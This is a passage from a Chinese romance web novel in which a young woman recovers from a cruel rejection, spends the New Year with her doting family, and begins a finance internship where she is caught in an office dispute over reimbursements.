“可你……”肖瑜双手抱着头,脑海中穿插着出现的零碎记忆,让她头痛欲裂,“你对我很好,只要不让你做我男朋友,你都对我很好。我明明,你明明说我是你的初吻,如果你不喜欢我……”
“我说是初吻你就信?嘁……”姜昊再度发出轻蔑的笑声,看她的眼神就像是在看一个傻子,“你自己当时不也怀疑过那不是我的初吻吗?肖瑜,那我说我爱了你六年,从高中的时候就爱你到现在,爱你爱到恨不得把心剖出来给你看,爱到这辈子只想有你一个女人,爱到这辈子如果不能娶你就孤独终老。你也信?”
他说的,全是她在情书里写给他的话,字字相同,分毫不差,讽刺至极。
“我今天带你故地重游,也不过是想在拐你上/床的时候,多一点曾经的回忆来调情。可你呢?”姜昊似乎鄙夷地连看都不想多看她一眼,再度转身面向书柜,“迫不及待就要送,一点意思都没有。肖瑜,那些什么曾经,什么回忆,你骗骗自己就行了,对我来说,连调个情都用不上的东西,有个屁的用。”
肖瑜的眸光再度黯淡下来,几乎一片死寂,“你说的,都是真的吗?”
“如果你不是一直这么死缠烂打,兴许我早就把你睡了。”姜昊并没有直接回答她,反而极尽刻薄地凉凉说道,“你很干净,摸起来也很舒服。可你缠得太紧,你们家又那么宝贝你,我一直都怕动了你就甩不掉。我去北国是因为我姑姑选择了我作为继承人。肖瑜,你知道我将来要接手的财产有多少吗?我怎么可能会让自己因为你,就失去那样的未来?”
‘他姑姑的官司结束了……’
‘整个姜家都要去庆祝……’
肖瑜想起听到妈妈提起姜家姑姑时的话,站起身来,低声笑了笑,一步一步,向卧室的房门走去。
亏她刚才还问的出,不愿意给她承诺,是不是因为怕她伤心。
自始至终,她都只是一个可笑到不能再可笑的小丑罢了。
*
肖瑜不记得自己是怎么回到家的。
恍惚中,好像是哥哥把她的胳膊扯住,让她转了个圈。转完了圈圈,妈妈和爸爸就已经站在了眼前。
她看看爸爸妈妈,又看看哥哥,撇了下嘴,“我可以上楼哭一会儿吗?”
是妈妈挽住了她的胳膊,不知道轻声在旁边说着什么。她听不仔细,想仔细去听,脑子里却轰鸣般炸得她止不住皱眉。
她回到了自己小猪佩奇的房间,粉粉的,到处都浮动着佩奇无忧无虑可爱的笑脸。可那些笑脸渐渐越来越多,越来越多,多到她笑得眼泪都止不住,那些小猪头还是在眼前飘,一直飘到她笑得没了意识,才算彻底消停下来。
*
冬雨再次倾盆而至,比两日前更加猛烈,打得玻璃窗都模糊了起来。
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肖妈妈看一眼躺在床上依旧没醒过来的肖瑜,又起身来到窗边往下看。尽管她捂着嘴,极力不发出任何声响,可止不住的泪水夺眶而出,到底还是有低低的啜泣声,在安静的卧室里蔓延开来。
“妈妈。”
身后一声低唤,穆青华连忙握住手机走回床边,抹着眼泪坐过去,伸手摁住想要起来的肖瑜,“乖宝,妈妈在的。”
“妈妈。”肖瑜嘴角撇了撇,扶住她的手臂起身,软软缩进她的怀里,“妈妈,让你担心了。可是,对不起……”
她说着,已经有大颗大颗的泪珠顺着脸颊滑落,哽咽不已,“对不起妈妈,可我……可我,想哭。”
“你哭吧乖宝,好好地哭。”穆青华抚着她的胳膊,也再次红了眼眶,她用另一只手给肖帅发了肖瑜已经醒来的信息,继而放下手机双手环住她,任宝贝女儿在怀里哭得肝肠寸断,喃喃安慰道,“乖宝,哭吧。哭好了,就过去了。总会过去的……”
*
肖瑜这一哭,昏天黑地地哭了将近一个小时。
不同于在寝室时那压抑的默默流泪,在家里的她,是真真正正的嚎啕大哭。
肖爸爸不久也进了卧室,摸了摸她的头并没有多做劝慰,宽慰的眼神却给了肖母。见她看了眼窗户,又问询地看向自己,肖远舟轻轻点了下头,两个人便不再说话,静静陪着肖瑜,给她递纸抽,在她哭到口渴的时候,递杯水。
晚饭自然也是吃不下了。哭得舒舒服服的肖瑜,睡前吃了些妈妈亲手做的玛格丽特饼干,又喝了点牛奶,累极了睡过去,竟然一夜无梦,到第二天日上三竿才转醒。
接下来的几天,肖瑜没再单独出过门,除了在家里写小说,就是跟妈妈出去做护肤,逛街。虽然还没有彻底恢复此前欢快无忧的情绪,但跟父母聊天时偶尔提及姜昊,她并不掩饰失望和难过,却也没有再为他哭过。
肖父肖母没有刻意去问她跟姜昊之间的事情,但自此都不再拿姜昊来打趣她。肖瑜知道,他们是因为尊重她,不想过多干涉她个人的情感。其实那日跟姜昊出去玩了一天,回来就像神经病一样痛哭一场,就算他们不问,也必定是心知肚明的。
肖帅直到小年这天才又回来,带了一箱子鲜活的海鲜。
家务事肖瑜向来不沾手,只跟妈妈学过些简单的烘焙。见父母和哥哥都在厨房忙碌,她凑过来想帮手,可肖妈妈直接把她推上楼,生怕宝贝女儿身上染了鱼腥味儿。
一大桌佳肴摆上桌,肖瑜的小说也彻底步入尾声。每一次结文都是同样怅然若失,她点了完结键,合上电脑,慢吞吞下着楼,让自己渐渐从文章中的情绪抽离。只不过这一次,肖瑜知道,结尾定会惹来诸多争议。
今年冬天的雨似乎特别多,总也下不完似的。
壁炉里蹿起红红的火焰,将室外的风雨隔绝,屋内洋溢着过年的洋洋暖意。
一家人团团圆圆吃着饭,喝着酒,肖瑜还是乖乖地喝酸奶。席间她看着清蒸石斑,仍是不自禁望向窗外,待回过头来,她默默望着肖妈妈,眼睛里有着欲言又止的踌躇。
过小年,他一个人孤零零,冰锅冷灶的。也不知道有没有又饿着自己,会不会因为父母不在身边而伤怀。
“耗子已经在北国了。”
耳边突然响起肖帅的声音,肖瑜愣了一下,不可置信地转头看着他。
15. 第 15 章
第十五章
肖父肖母相视一眼,并没有阻止肖帅说下去,只是都轻轻放下了筷子。
肖帅喝了口小酒,又吃了口辣炒蛤仔,这才仿佛很随意地笑道,“前几天我陪他出去转了一圈,带他跟在学校玩得好的那几个同学道了别。前天也是我亲自送他去的机场,估计现在也正跟家里人一起吃着小年饭呢。小鱼儿,别担心。”
许是这几日哭得彻底,也可能是一腔热忱被他辜负得彻底,听闻他竟就这么悄无声息的离开,肖瑜的心居然麻木了一般没有痛意,目光从肖帅脸上挪开,默默挑了口石斑。
“乖宝,昊昊是个好孩子,但家家有本难念的经。”肖妈妈伸手摸了摸肖瑜的头,有些惋惜地说道,“以后要是想他了,我们可以再去北国玩一玩,见一见。你不是很喜欢那边的雪山温泉吗,毕业了爸妈带你再去玩几天。”
“嗯。”肖瑜点了下头,并没有告诉他们姜昊那些中伤她的话,只是听到妈妈说他是‘好孩子’时,唇角轻轻撇了一下。她深吸一口气,喝了口酸奶,朝肖妈妈笑道,“妈妈,我该哭的都哭过了,已经不伤心了。再说我现在都长大了,再开学,我都要上班了呢。”
“可不是嘛,我们家乖宝马上就要做白领了。”肖爸爸见到肖瑜有了笑,接过话头端了酒,“来,庆祝一下。乖宝今天要不也喝点酒?”
“我还是喝酸奶吧。”肖瑜举起酸奶跟他们碰了一下,忽然有点迟疑地问道,“爸爸,我听北北说,上了班要经常喝酒应酬的。要是不喝酒的话,是不是领导会给我小鞋穿啊?”
“我看谁敢。”肖爸爸低哼一声,气场立刻就变了,“他们老总想约我喝个茶,还得看我有没有空。乖宝,爸这次没插手,而是让小帅把你安排进去,只是不想让你太招眼。就是去实习而已,不用看任何人的脸,一点不舒服就给我电话,我直接让他们老总下去给你撑腰。”
“……”肖瑜嗫嚅道,“爸爸,这不大好吧?我还得拿实习报告呢。”
肖帅嘴角抽了抽,连忙喝口小酒压住笑。肖妈妈也哭笑不得给自家老公餐碟里放了块龙虾,嗔道,“乖宝去实习是学校要求的,现在又不是在你那儿当千金小姐。你好好说话,别吓着她。”
肖爸爸见肖瑜一脸的忐忑,也笑了,又是一副慈父模样,“乖宝别怕,你去的是财务科,又是初级岗位,常理不需要出去喝酒应酬。不过企业为了加强凝聚力,经常会有团建或者其他聚会,的确可能会在一起喝喝酒。爸只是想告诉你,有爸爸在你身后护着,不想喝就不喝,谁的脸也不用看。谁敢逼你喝酒,你当场就给我电话,不用给他脸。”
“爸说的对,受委屈了一定得说。”肖帅喝着酒,也在一边笑道,“不过也不一定非得跟爸讲,要是小事儿跟我联系就成。你冬冬姐是管人事的,说话还算有分量。要知道华驰那边可一直想跟咱爸扯上点关系呢,这要知道你是爸的心头肉,盯着你的狼可就不止是逼你喝酒这么简单了。”
“……”肖瑜总算知道为何在那么多企业里,肖帅挑了华驰给她,她鼓了鼓嘴,点点头,“好吧,看来我在华驰可以横着走了。”
“公寓也给你安排好了,这次爸妈送你。”肖妈妈心疼地瞅着她,有点舍不得,“乖宝啊,要不再给你找个阿姨吧,万一有个头疼脑热的,妈妈不在身边,多难受啊。”
“公寓?”肖瑜有点意外,不解地问道,“我查过了,学校坐车过去也就四十分钟,不算远,我可以住学校的。”
“万一加个班,那不是得走夜路吗?多不安全啊。”肖妈妈看着一脸天真的闺女,心里愁得很,“而且学校里……”她顿了一下,才说道,“你爸给你找的公寓,安保很好,离华驰总部只有几分钟的路,交通购物都很方便。对了,你那个好朋友,北北,她不是也去那儿实习吗?你跟她说说,让她陪你一起住好吗?两个人相互也有个照应。”
早前她跟姜昊说,自己可能出去住,是因为决定放弃的时候,不想自己继续在校园里,见着他就忍不住想追,徒惹厌弃。如今他真的走了,可校园里,依然有太多的回忆,尽管对他来说连调情都用不上,可于她来说,却处处伤怀。何况有时候灵感上来想打字,寝室里一熄灯,她担心噼里啪啦的键盘声会影响室友休息,常常都得忍着冲动急得不行,真不如在外来的自在。
“谢谢爸爸妈妈。”肖瑜深深舒了口气,弯起眼眸举起酸奶,“小年快乐!庆祝小鱼儿回游大海,要开始自由自在的白领小日子啦!”
“呵。妈妈明天就带你去买上班的衣服,我们小鱼儿要做个美美的小白领。”
“嗯!”
*
除夕夜,大雪纷飞。
初一肖帅接了女友楚岚芝来家里做客,肖瑜陪妈妈跟未来嫂嫂聊了会天,便戴了肉粉粉的帽子和围巾,去门口堆雪人。
两个小小的雪人,矮雪人的鼻子上是胡萝卜,高雪人的鼻子上是小树枝。她把帽子戴在矮雪人的头上,又把围巾围在高雪人的脖子上,低头摸着颈间的吊坠,轻轻说道,“新年快乐。”
雪还在下,飘飘洒洒落在肖瑜的身上。
肖妈妈出来喊她吃饭的时候,心疼地为她拂去发顶的雪,肖瑜却开心地指着四个高矮不一的雪人,娇声笑道,“妈妈,看,是我们一家,新年快乐!”
肖妈妈也瞅着被抠出来笑脸的雪人们,搂住她的肩,轻笑道,“乖宝新年快乐,进去吃饭了。明年啊,怕是要堆五个小雪人了。”
*
以往的寒假,都是过完十五才离家。可今年因为实习,初七肖瑜和燕北北就来了泽城汇合。
肖父肖母带了司机,保姆车上堆得满满的。燕北北按着地址摸到泽鼎公寓的时候,整个人都是懵的。
“北北快进来。”毛衫轻薄的肖母打开门把燕北北请进来,接了她的行李箱
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,亲热极了,“以后我们家乖宝你俩相互照应着,阿姨总算能放心一点。快进来,待会儿先放了行李,叔叔阿姨带你们去吃饭。”
“哦,叔叔好,阿姨好。”燕北北连忙跟肖父肖母打了招呼,却是拿眼神呼唤着肖瑜。
肖瑜眉开眼笑跟她一起去了卧室,拉着她的手兴奋得不得了,“我之前不知道这儿这么舒服,可比寝室好住多了。”
燕北北可没她那么兴奋,她放下背包,有点心惊地问道,“我的小鱼儿啊,这是你家的还是租的啊?这要是租的,一个月得多少钱啊?”
进大门刷身份证,进楼刷脸视频就不说了,一楼咖啡店小餐厅一应俱全,还有游泳池,二楼整层都是健身娱乐设备,居然除了偌大的健身房,还有一个小型影院。这哪里是上下班的居家公寓,根本就是度假中心。
“爸爸说,是一个朋友的房子。出国了一直闲置,让我们随便住。”肖瑜来之前也不知道,泽鼎居然是这么舒适的存在,对她这种除了追姜昊出去玩,就喜欢宅家的人来说,简直就是天堂。
想起他,肖瑜咬了下唇。可来日方长,她并没有多说什么,而是帮着依旧不怎么自在的燕北北摆放了行李,拉起她亲亲热热走向客厅,“别担心房租的事情了,我自己住会害怕的,你就当来陪我了啊。走,我们去吃好吃的。”
肖远舟带着妻子和女儿在外,自然要选本地最顶级的餐厅。一行人来了帝韵,因为没有提前预定,服务员看看器宇轩昂的肖远舟,衣着华贵的穆青华,还有可可爱爱妆容精致的肖瑜,到底没敢直接拒之门外,打了电话联系上经理,才有一个看起来十分圆滑的中年美女过来,委婉地说了客满。
肖远舟也没为难她,走开几步打了个电话,再过来时,那女经理一边接电话,一边陪着笑将几人领向视野最佳的观景包间。
肖瑜和肖母对这种待遇习以为常,依旧互挽着手臂说着贴心话,而燕北北进了房间看向视野辽阔的城市街景,又看了眼肖瑜,下意识十指交握,垂眼看向自己寻常的棉衣。
国庆假期被肖瑜邀请到舟城做客,燕北北已经知道她家境不一般,只是她原本以为肖瑜家住得起豪华别墅,生活优渥,是肖帅那几家汽修保养店的功劳,可如今才惊觉,或许是因为平素里肖瑜那随和不挑剔的性子,令她彻底低估了她的家世背景。
其实每年寒暑假回来,肖瑜都会看起来比在学校的时候更精致。头发、皮肤甚至连指甲都透着亮,身上穿的衣服也都是她没见过的牌子。而今天过来的这家餐厅,先不说人均几位数的消费,肖瑜的爸爸作为外地人,居然一个电话,就能让需要提前数日预定的顶层包间让出来,这根本不是普通有钱人能随便做到的。
“北北,坐啊。”
燕北北还十分拘谨地站着,肖瑜奇怪地看了她一眼,放下妈妈的胳膊来挽她,“怎么了?是不是看到我爸爸妈妈在,你也想爸妈啦?”
16. 第 16 章
第十六章
“嗯,有点。”燕北北回过神来,的确是满眼羡慕地瞅着她,“我爸妈就大一开学送过我,后来每回放完假都撵着让我走,生怕我在家多吃几顿会破产似的。”
她这话是开玩笑,也的确惹得肖父肖母都笑了起来。
穆青华待她俩也都脱下外衣坐了,朝燕北北指了指她面前的菜单,“北北喜欢什么随便点。你放心,一顿饭是不会让你肖叔叔破产的。”
燕北北拿起餐单看了看,有点不好意思地抿了下唇,却还是大大方方地说道,“小鱼儿点什么我就点什么吧。我没来过这里,不知道哪些菜好吃。”
肖远舟闻言看了她一眼,再看向肖瑜时,笑容越发慈爱,“我们家乖宝挑朋友的眼光一直不错。你给北北点吧,别让她为难。”
“我们俩口味很近,就是我不太能吃辣。”肖瑜拿起菜单点了几样东西,又跟服务员交代道,“待会儿准备两罐你们这儿的海鲜酱,我们要带回去蘸馒头吃。”
“你平时就吃馒头蘸酱啊?”穆青华听了简直心疼坏了,柳叶眉都蹙了起来,“公寓楼下的餐厅,会开到晚上十点。乖宝,以后饿了就叫点东西送上去,爸爸妈妈不在身边,你一定要好好照顾自己。”
“偶尔吃一两次,过瘾。”肖远舟在旁握了下她的手,笑着安慰道,“你上学那会儿不也泡面酸辣粉一样没落下?乖宝马上毕业了,以后回了家有你给她调理,亏不着。现在先让她们年轻人怎么自在怎么来,别给吓得以后毕业不想回家了。”
一听这话,穆青华确实不再埋怨,可看向肖瑜的眼神依旧满是担忧。肖瑜抱住她的胳膊,嘟着嘴巴撒娇道,“妈妈,你是世界上最好的妈妈。我保证,一周最多只吃两次馒头蘸酱,你让北北监督我啊。”
穆青华无奈地看着她,伸手轻轻拧了下她的脸,“一周只能吃一次。”
“嗯嗯。”
*
因为次日是肖瑜第一天去单位报道,肖父肖母当日并没有离开,而是带上司机住在了附近的酒店,要等她彻底安顿下来才能放心。
而夜里回到公寓,两个女孩子因为马上要踏入社会,激动兴奋又有些惴惴不安,做了面膜挑了去报到的衣服,尽管寒假里憋了千言万语,却也分得清轻重,早早睡上了美容觉。
*
住得离公司近,果真千好万好。
因为过于紧张,燕北北走到华驰的总部大楼才发现,身份证还在昨日的背包里没拿。俩人一路小跑地回去拿了身份证,又把头发整理整理再照照镜子,再次来到前台报道时,也还比规定时间提前了二十分钟。
入职手续很顺利,同来报到的有六个实习生,四个女生两个男生。其中有个叫刘明坤的男生,高高帅帅,笑起来有几分腼腆,不仅燕北北,连肖瑜都忍不住多看了两眼。
肖瑜和燕北北被分到了不同的科室,肖瑜所在的部门负责内部经费的支出报销,办理各类职工福利和保险,燕北北则跟刘明坤都被分去了应收应付科。
单位福利待遇确实不错,员工食堂在大楼内,早午餐双包,还为实习生提供有每月几百块的交通费。各个科室的分工也很合理,听老员工说每年除了几个重要节点,基本不需要加班。
肖父肖母待宝贝女儿顺利办了入职,中午带两个女孩子在附近又吃了顿大餐,才依依不舍跟肖瑜道了别。
终于一切重新平静下来,夜来肖瑜和燕北北结束了第一天上班的忐忑和兴奋,舒坦地躺在阳台沙发上,喝着牛奶聊起了天。
姜昊去了北国的事情,肖瑜此前在电话里跟燕北北浅浅提过。但听到肖瑜说,他竟然因为家族原因会长居北国,今后可能都不再回来,燕北北还是吃惊地问道,“真的吗?那他以前一直不肯接受你,是不是因为怕你伤心啊?”
“不是的。是我太廉价。”肖瑜自嘲地笑了笑,起身把放在沙发一隅的佩奇抱枕抱来怀里,拿下巴枕着佩奇的脑袋,淡淡说道,“北北,被一个不喜欢的人纠缠那么久,其实他真的很宽容了。要是换成是哪个男生这么狂追一个女生,估计早就被当成变态骂成筛子了。”
燕北北探究地看着她,不禁疑惑地问道,“你是怎么做到这么平静的?那可是姜昊。”
“我们接吻了,也拥抱了,我没有遗憾。”肖瑜咬了下唇,垂下眼眸,“我的初吻,很甜。可回味起来却很苦,因为那不是两情相悦,只是一厢情愿。北北……”
她叹了口气,又重新挂上笑颜,看向燕北北,“被赵成杰那个渣男那样伤害过,你还会想恋爱吗?”
“当然想啊。”燕北北点点头,仰头靠在双臂上,很轻松地笑道,“人生那么短,我才不会让一只臭虫影响我享受生活的心情。被渣难过只是几天的事,但谈恋爱那会儿的快乐开心,也是我真实的情绪。我不仅还会恋爱,而且很期待快速开展一段新的感情。嗳,今天跟咱们一起报到那个刘明坤,你觉得怎么样?”
“挺帅的。”肖瑜很实诚地点点头,继而有点不可思议地说道,“你不会一见钟情了吧?这么快吗?”
“单位也没说不让内部谈恋爱啊。”燕北北很得意地冲她眨了下眼睛,笑道,“一见钟情也不至于,但他看起来很纯,身上还有大学生的味儿,挺勾我的。”
肖瑜吸了口奶茶,看她的眼神有些意味深长,“北北,大学生的味儿,是什么味儿啊?”
“奶味儿。”燕北北噗嗤一笑,放下手中的奶茶就来挠她,“跟你一样,闻起来一股子奶香味。”
两个人在沙发上闹了半天,才喘着气儿靠在一处,燕北北拿胳膊兑她一下,笑道,“嗳,还记得菲菲吧?她还真是挺把咱俩当朋友的,他们家今年在国外过年,过了十五回来,说到时候要约一起喝喝咖啡。她是本地人,身边朋友多,你也该睁眼看看别的男人了,要不让她给你介绍一个?”
“不要了。”肖瑜软绵绵靠着她,轻声应道,“我毕业就要回家了,不打算在这边谈恋爱。北北,我也挺喜欢她的性格,你们两个都很洒脱,怪不得情敌都能成朋友。”
“情什么敌啊,那个渣男的作用就是让我多一个好朋友。”燕北北撇了下嘴,突然想起什么似的说道,“菲菲可是你的铁粉啊,前几天给我发微信,还在说你写的文。说你最近不知道怎么了,脑子有点抽,文章大结局那么个渣男不被男人们轮死,居然还情场职场双得意,底下读者都要骂疯了,你都不看评论的啊?”
“我最近在存新文啊,下周就打算开坑了。”肖瑜有点得意地挑了下眉,笑道,“我知道上篇文的结局会有争议,但有争议就有话题啊,有话题就有热度和流量啊。昨天编辑还给我私信,夸我那篇文结尾数据又刷了新高,还打算给我推荐出版呢。”
“行吧,平日里迷迷糊糊的,提到小说倒是精明了。”
“而且姜昊也看我的小说。”肖瑜顿了一下,轻轻说道,“我不知道他以后还会不会看,可这一篇的结局是写给他的。”
燕北北微微一怔,只听肖瑜在身侧又说道,“我放下了。所以,我真心希望他有自己的幸福,不再被我骚扰的幸福。”
*
初入职场,新人们要学习的东西很多,不仅要将曾经的知识应用到实际,还要从前辈和日常工作中学习如何处理人情世故。
燕北北他们部门主要对外,听说以后还会跟前辈们一起出差,到
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上下游企业与其财务部门面对面谈判。
肖瑜则主要对内,初步审核各个部门和厂区递来的报销凭证,贴发票,找上级签字。带她的师傅,是一个正在孕中期的姐姐,名叫周美茗,三十四五的年纪,已经在这个岗位了好几年,今年二胎,性格脾气都很好,看起来十分好相处。
可跟在身边几天下来,肖瑜才发现,所谓的脾气温柔好相处,也只是在彼此没有利益冲突的情况下,可一旦要是涉及到了工作利害,软刀子磨人,可比火辣辣的暴脾气更让人无计可施。
因为她是新人,对各个部门和厂区报账员的品行和脾气都不是很了解,起初几天被周美茗分派过来一些报销凭证,因为比较简单,数额也不大,她查验了真伪,又向周美茗确认过后,便整理了一齐往上报。
然而周五快下班时拿到西郊厂区的一份报账单,因为数额有点大,肖瑜第一时间去问周美茗,当着西郊报账员陆洋的面,她却微微蹙眉,有几分无奈地看着肖瑜问道,“之前西郊拿来的报账单,总额你核对了吗?”
“没有。”肖瑜很不解地问道,“需要核对总额吗?为什么?”
“每个部门按月按季度按分类,都是有额度分配的,第一天上班我就告诉过你。”周美茗叹了口气,把报账单递回给她,“不可能谁拿来发票都可以报,要分轻重缓急,额度内审批。你打电话问问计财部,看看之前的入账了没有,如果没有的话,把票据拿下来我看一下,陆洋他们的比较关键。”
这话说的没毛病,可责任全都推在了肖瑜身上。她有点委屈地扁了下嘴,倒也没说什么,连忙回到工位去给计财部打电话。
而陆洋在旁听得脸色一暗,气鼓鼓瞪着周美茗,却也的确无话可说。
跟计财部对过账,西郊厂区这个月只剩下八千不到的招待额度,可这一叠发票总额早就超过了一万。肖瑜有些讪讪地回到周美茗面前,小心翼翼地说道,“美茗姐,还有七千五的额度。怎么办?”
“下个月再报吧。”周美茗压根就没接她递过来的票,很抱歉地朝陆洋说道,“新来的实习生,还在培训期,业务还不熟练。你回去跟陈总汇报一下,下个月优先走这笔。”
陆洋一听脸色就变了,二十四五的年轻人,口气很冲,“美茗姐,新来的不懂,您不懂吗?每回陈总的票到你这儿就没顺过,您也考虑考虑我的感受,痛快一回不行吗?”
肖瑜哪里料到只是晚报个账,这个陆洋就火大成这样,可她从未遇到过这样的场面,呆滞地站在那里,不知道该说什么好。
周美茗瞥她一眼,脸上神色丝毫未变,依旧是有点为难,很客气对陆洋说道,“小陆,你年轻火气盛,怕陈总责备,我能理解。可财务制度是这样,除非你去找老总特批,不然真的走不了。”
“为了几千块找老总特批,还是周五快下班?你这不玩我呢?”陆洋气急败坏从肖瑜手里抢过那叠发票,摔在周美茗桌上,“我不管,反正今天你得批,不然我回去没办法跟陈总交差。”
“你犯浑也得找对人。”周美茗一点都不怵他,稍稍往后挪了下凳子,伸手轻抚着孕肚,蹙眉轻声说道,“宝宝不怕,别乱踢。”
“你……”
陆洋被她软钉子怼回来,又因着她是个孕妇,气得喘吁吁又拿起发票,递向肖瑜,“你看着办,反正我是不可能再把票给拿回去的,马上都要过期了。”
肖瑜接过票,又去看周美茗,见她无事人一样点开了工作表,开始忙别的事,她又抬头去看办公室里别的同事,人人都很忙的样子低着头。
肖瑜咬了咬唇,小声朝陆洋说道,“你先消消气,我们先一起想想办法好吗?”
17. 第 17 章
第十七章
这几天在单位里,她其实早引来了不少议论。因为她的衣着打扮,清纯乖巧的面容,还有说话时无辜又甜美的调调。
同期的实习生,虽然也都十分注意仪容,可没有哪个女生像她一样,从发丝精致到指尖,惯穿的衣饰材质和做工也都十分精美,坐在办公室里浅笑顾盼的模样,就像个下来体验人间疾苦的大小姐。
可她又没有大小姐骄横跋扈的性子,说起话来甜甜的,偶尔因为不懂业务,睁着清澈的大眼睛看着你,那无辜又疑惑的样子,叫人看了会自省是不是欺负了她。
因此陆洋虽是第一次见她,也听说这次财务部的实习生里,有个白玫瑰一样的小姑娘。
陆洋在她小心翼翼地问话中,尽管又急又气,还是尽力维持着风度坐了下来,横一眼周美茗的办公位,嘀咕道,“神仙打架,小鬼遭殃。每回来都得受顿气。”
肖瑜明白这句话的意思,却不了解其中的故事。她仔细把手中那一沓子票据看了看,好声好气又说道,“对不起,是我的错。下个月我会认真核对总额,不会再出现相同问题的。但这一次的票,可不可以请你请示一下陈总,分批报?”
陆洋虽说面对着她脾气小了些,还是很郁闷地说道,“怎么分批?光贴票就贴了一下午,分批还得回去找陈总再签字,这不找骂吗?”
“我帮你分,我们把快作废的,在额度内先报了。剩下的,如果请示完陈总还是不行,我去找老总申请特批。可以吗?”肖瑜看了眼办公室的挂钟,眼角不经意扫到周美茗微蹙的眉,她并未多做理会,转头又跟陆洋说道,“不过要辛苦你跟我一起加个班,晚上我请你吃饭好吗?”
“……”话都说到了这份上,陆洋深深呼了口气,起身又瞪了眼周美茗,朝肖瑜说道,“你先分着,我去跟陈总打电话先请示一下。”
他前脚出去,周美茗后脚就扛着大频频的肚子来到了肖瑜面前,叹着气轻声道,“他们陈总老这样,每回都是攒着一起,拖到最后。如果你这次帮她,下次她还这样。肖瑜,你还没经验,长此以往大家如果都这样,你是给自己和科室添麻烦。”
“美茗姐,就这一次好吗?”肖瑜依旧笑得甜甜的,却没有让步的意思,“这次是我的责任,如果下次在我尽责审核的情况下,还有人要超额度报账,我一定不会答应的。”
周美茗扯了下唇角,轻声笑道,“行吧,你愿意无意义加班是你的事,希望以后不要因为你,让其他同事陪你为难就好。”
肖瑜点了点头,“嗯。”
*
许是陆洋那边也跟陈总求了情,这厢肖瑜跟他一起加班加点重新拆了发票粘了单子,七点多的时候,总算收拾出来了七千多的快过期发票。剩下的,肖瑜按照单位规定也仔细审核了一遍,没签字的,少日期的,发票版本不对的,也都一一给陆洋折起来做了标记,两人这才一同出了单位去吃饭。
期间燕北北也来找过肖瑜,可见她是在忙正事,便也没有多说什么,只是稍后悄悄给她发了个微信:【你加班的话,那我晚上就约那个奶味儿出去吃饭啦。家里见。】
肖瑜十分佩服燕北北的洒脱和雷厉风行,直到跟陆洋在离公寓不远的小馆子里坐下,想起她来都忍不住想笑。
陆洋坐在肖瑜对面,见这个看起来甜美可爱的女孩子,刚来实习就被连累受气加班,却一点没有懊恼的样子,他多少觉得有些内疚,点了两碗面便清清嗓子解释道,“谢谢你。其实今天我也不是冲你发脾气。美茗姐跟我们陈总一直不对付,俩人如今没有太多交集,就来回老在报账这个事儿上扯皮,可折腾人了。”
肖瑜平素里听到别人讲故事,耳朵总会支起来,为的是找写作素材。可她一个实习生,本也没打算长久地待下去,听到陆洋的话,她只是轻笑着说道,“没关系,我知道你不是针对我。不过你们的报账单的确问题很多,其实就算额度充足,今天那些做过标记的票也还是得打回去整改,这周一样送不上去。”
“那是因为美茗姐从来就不肯一次把问题给你讲全乎,陈总也爱卡在最后一秒啊。”说起这个,陆洋就满脸晦气,接过服务员端来的面,先热乎乎吸溜一大口,才懊恼地说道,“我也是去年才接手我们厂区的报账任务,现在才知道为什么当初交接的时候,刘哥一脸姨母笑。我们厂区的票,在美茗姐眼里就是出气的工具。今儿给你打回来是因为少签字,明儿跑一趟又打回来,是发票开具单位范围不符,这些整改完了放几天,然后又通知我需要哪个总哪个总签字。可等我来了,那些总不是出差就是开会,根本签不上。你说气人不气人。”
“啊,还有发票开具单位经营范围啊,我都忘了!”陆洋一次拿来的票太多,肖瑜是真的忘了检查这一项,听他这么一说,登时就有点气馁地瞅着他,“我刚才都忘了查了。陆洋,那我们吃完饭再去查一遍吧?”
小面馆的暖气很足,但偶尔还是有食客进来掀起棉布帘子,灌进一阵冷风。
肖瑜的脸蛋在冷暖交替下红红粉粉的,懊恼自责地嘟着嘴巴蹙着眉,眼眸里却晶亮亮一股子认真,软软的嗓音喊起陆洋的名字,更是透出一股撒娇的憨态,一下子就让陆洋有些不自在起来,连说话都不利索了,“那不是……今天有点太晚了,又是周末……那不是针对你,不着急,那个,还是明天,不,周一……”
他结巴了半天,赶紧低头又扒拉两口面顺了气,才又清清嗓子说道,“陈总今儿听说美茗姐把责任都推到了你身上,没为难我,也让我别为难你。她心里也是门儿清。她俩闹她俩的,咱俩只管能把事儿办好就行了。你下周一上班就把你那儿的票查一下,有问题赶早给我电话。”
陆洋说完,不禁咽了下嗓子,拿
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出手机,“加微信还是电话?”
“微信吧。”肖瑜也连忙拿出手机,一边跟他扫码互加,一边很感激地说道,“谢谢你陆洋,你真好。那等你有时间的话,把你手上的票也拍了给我,我明天就一起查一下。我们把自己能做的做到极致,就算是随后再被人挑毛病,也问心无愧了。”
陆洋被她夸得一愣,有点不好意思地挠了挠头,“你更好。你们报账科的人,都生怕得罪美茗姐,除了你,压根就没人这么仔细地帮我们看过票。肖瑜,你一定可以通过考核,顺利留下来的。”
“还有考核的吗?”肖瑜也愣了一下,不解地问道,“不是拿了实习报告就可以吗?然后自主选择去留?”
“当然不是。”陆洋又仔细看了她一眼,见她的确是懵懵的一脸茫然,不禁笑道,“现在可是雇主市场,我们厂区最近也来了一批实习生,其中只有一半能留下,竞争很激烈的。”
*
一碗热乎乎的面吃完,陆洋抱怨了大半天,肖瑜一直耐心地听,偶尔接个话,也都是给陆洋补充一些报账单审查的要点。
两个人走出面馆时,陆洋又挠了下头,清清嗓子,“你回学校?这么晚了,我送你回去吧,不然你一个女孩子路上不安全。”
“不用了,谢谢。”肖瑜朝他笑了笑,指指路对面的公寓,“我住很近的,过了马路就到。你路上小心,再见。”
陆洋顺着她的目光看过去,愣了一下,待再看向肖瑜已经折身走向斑马线的窈窕身影时,他自嘲地摇头笑了笑,转身走向单位的停车场。
*
电梯在地下车库停住,顾程拉了行李箱走进去,懒懒靠在一侧,有些疲惫地闭目揉起了眉心。
二十几个小时的飞行过后,他完全不能理解顾菲哪来的劲儿还能去蹦迪。难道真的是他老了?
一楼有人上来时,顾程闻声掀起眼皮,看到映入眼帘的羊绒大衣时,其实是有点惊讶的。
刚才在十字路口随意一瞥,好像跟陆洋站在一起的女孩子,穿的就是这套衣服。他下意识去看她的脸,却被女孩子见鬼一般又惊又怕的神色,直接赶走了满身倦意。
“你!你……”肖瑜捂着嘴,眼睛瞪得大大看着他,回头看一眼已经合上的电梯门,小心翼翼挪脚站在角落,“顾总,你应该不是跟踪我的吧?你,你好像是比我先上来的?你也住这里?”
